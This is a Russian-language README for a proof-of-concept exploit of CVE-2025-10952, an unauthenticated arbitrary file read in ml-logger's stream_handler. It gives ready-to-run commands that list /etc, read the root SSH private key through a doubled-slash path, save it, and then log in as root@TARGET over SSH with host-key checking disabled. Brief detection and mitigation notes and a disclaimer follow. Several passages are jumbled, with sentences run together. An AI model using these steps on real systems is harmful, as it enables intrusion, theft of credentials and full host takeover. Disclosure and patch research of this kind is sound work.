
PoC для CVE-2025-10952 — ml-logger неаутентифицированное произвольное чтение файлов. CVSS 5.3
stream_handler в ml-loggerЭтот репозиторий предоставляет автономный Python-скрипт — CVE-2025-10952.py — который эксплуатирует неаутентифицированную уязвимость произвольного чтения файлов в stream_handler библиотеки ml-logger, в связке с конечной точкой /glob для перечисления файловой системы.
При запуске против уязвимого экземпляра ml-logger скрипт:
/glob (без аутентификации, без ограничений пути за пределами предполагаемой области)./stream, передавая специально сформированный параметр , который выходит за пределы логики объединения базового пути обработчика.keyПоскольку stream_handler передаёт поле key, предоставленное клиентом, напрямую в вызов разрешения пути к файлу и потоковой передачи без проверки ограничений, неаутентифицированный сетевой злоумышленник может прочитать любой файл, доступный пользователю ОС, от имени которого работает сервис.
ml_logger/server.py — stream_handler (обработчик файлов)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (проект с непрерывными релизами; на момент раскрытия исправленная версия не опубликована)stream_handler принимает JSON-тело, содержащее поле key, и передаёт его напрямую в вызов чтения файла без какой-либо санитизации пути. Соседняя конечная точка glob_handler реализует частичные ограничения пути (блокировка абсолютных путей и обхода каталогов), но stream_handler не разделяет эту проверку — удвоенного ведущего слэша в key (например, //root/.ssh/id_rsa) достаточно, чтобы выйти за пределы предполагаемой базовой директории.
ml-loggergit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
Перечисление файлов:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
Чтение произвольного файла:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
Чтение и сохранение на диск:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port по умолчанию равен 8081 — стандартный порт файлового брокерского API ml-logger в типовом развёртывании. Панель управления фронтендом обычно обслуживается на отдельном порту и не является частью уязвимого пути.
/glob цели отвечает 405 Method Not Allowed с заголовком Allow: POST — это идентифицирует порт API в отличие от статического фронтенда панели управления.--glob, чтобы найти интересующие файлы (SSH-ключи, конфигурации, хранилища учётных данных).--read, используя удвоенный ведущий слэш для абсолютных путей.key/path, содержащие .., удвоенные ведущие слэши (//) или префиксы абсолютных путей (/etc, /root, /proc), направленные на порты сервиса ml-logger.~/.ssh/, /etc/shadow, /etc/passwd должен фиксировать чтения, исходящие от идентификатора процесса ml-logger.ml-logger для недоверенной сети без аутентифицирующего обратного прокси перед ним.os.path.realpath() на соответствие разрешённой базовой директории) в stream_handler; запускайте сервис под выделенной непривилегированной учётной записью ОС.Этот репозиторий содержит proof-of-concept эксплойт для CVE-2025-10952 — уязвимости неаутентифицированного раскрытия информации в ml-logger. Используйте этот код только в средах, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.
См. LICENSE.